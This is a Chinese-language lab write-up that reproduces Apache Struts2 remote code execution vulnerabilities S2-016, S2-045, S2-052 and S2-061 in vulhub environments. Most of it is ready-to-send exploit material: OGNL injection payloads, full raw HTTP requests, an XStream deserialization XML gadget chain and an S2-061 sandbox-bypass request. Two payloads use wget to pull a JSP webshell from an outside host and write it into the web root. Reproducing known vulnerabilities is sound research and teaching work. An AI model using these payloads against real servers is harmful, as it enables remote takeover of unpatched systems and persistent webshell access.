Struts2
以漏洞复现为主,漏洞分析暂时搁浅,环境无特殊说明为vulhub
S2-016
漏洞复现
在struts2中，DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:”作为导航或是重定向前缀，但是这些前缀后面同时可以跟OGNL表达式，由于struts2没有对这些前缀做过滤，导致利用OGNL表达式调用java静态方法执行任意系统命令。
所以，访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。
执行命令：
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| redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
# http
GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22uname%20-a%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=23141E7EF23AD1C69B8BFC81B51960A9
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
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获取web目录：
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| redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
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wget 下载webshell
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| redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://192.168.1.5:2333/webshell.jsp','-O','webapps/ROOT/webshell.jsp'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e), #piaoye=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#piaoye.getWriter().println(#e),#piaoye.getWriter().flush(),#piaoye.getWriter().close()}
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S2-045
漏洞复现
【漏洞分析】S2-045：Apache Struts2 远程代码执行（RCE）漏洞分析 - 安全客，安全资讯平台 (anquanke.com)
通过构造content-Type来实现利用
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| Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
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xxx=’multipart/form-data’主要是让struts程序content_type.contains(“multipart/form- data”)判断为true
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| #container=#context['com.opensymphony.xwork2.ActionContext.container']
来获取上下文容器
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| #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
通过容器实例化，对Ognl API的通用访问，设置和获取属性。
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| #iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })
判断目标主机的操作系统类型，并进行执行命令赋值
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| #p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
执行攻击命令
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S2-052
漏洞说明
Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件，其根据Content-Type或URI扩展名来判断用户传入的数据包类型，有如下映射表：
| 扩展名 |
Content-Type |
解析方法 |
| xml |
application/xml |
xstream |
| json |
application/json |
jsonlib或jackson(可选) |
| xhtml |
application/xhtml+xml |
无 |
| 无 |
application/x-www-form-urlencoded |
无 |
| 无 |
multipart/form-data |
无 |
jsonlib无法引入任意对象，而xstream在默认情况下是可以引入任意对象的（针对1.5.x以前的版本），方法就是直接通过xml的tag name指定需要实例化的类名：
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| <classname></classname>
//或者
<paramname class="classname"></paramname>
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所以，我们可以通过反序列化引入任意类造成远程命令执行漏洞，只需要找到一个在Struts2库中适用的gedget。
漏洞复现
启动环境后，访问http://your-ip:8080/orders.xhtml即可看到showcase页面。由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法，所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml，即可在Body中传递XML数据。
所以，最后发送的数据包为：
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| POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
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以上数据包成功执行的话，会在docker容器内创建文件/tmp/success，执行docker-compose exec struts2 ls /tmp/即可看到。
此外，我们还可以下载一个jsp的webshell：
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| <command><string>wget</string><string>http://192.168.1.5:2333/webshell.jsp</string>
<string>-O</string>
<string>webapps/ROOT/webshell.jsp</string> </command>
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GitHub - tennc/webshell: This is a webshell open source project
S2-061
S2-061是对S2-059的绕过，Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒，而S2-061绕过了该沙盒。该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。
漏洞复现
发送如下数据包，即可执行id命令：
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| POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
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可见，id命令返回结果将直接显示在页面中：
